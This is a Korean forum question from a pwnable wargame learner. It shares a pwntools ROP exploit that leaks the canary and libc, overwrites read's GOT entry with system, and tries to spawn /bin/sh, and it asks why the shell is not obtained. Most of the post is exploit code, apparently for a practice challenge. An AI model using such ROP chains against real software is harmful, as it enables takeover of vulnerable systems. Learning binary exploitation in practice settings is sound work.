Exploit 코드 질
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(ret)
payload += p64(write_plt)
# read(0, read_got, ...) read_got 입력
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
print(4)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)
p.send(p64(system) + b'/bin/sh\x00')
쉘 획득을 못합니다.
libc의 경우, 공격코드의 이전에 got를 출력해서 libc-database에서 다운로드 받아서, e = ELF('file')을 해서 문제가 없다고 생각 중이고요
write 진행 시, 0x10 정렬로 인해서 p.sendafter 실행이 안되길래, p64(ret)를 하나 추가했더니 진행되었습니다.
뒤에 코드에서도
0x10 정렬 문제인가 싶어서, 2번의 read의 경우의 수를 가지고 p64(ret)을 추가하고 삭제해도 안되네요. 다른 원인이 있을까요?
#pwnable
작성자 정보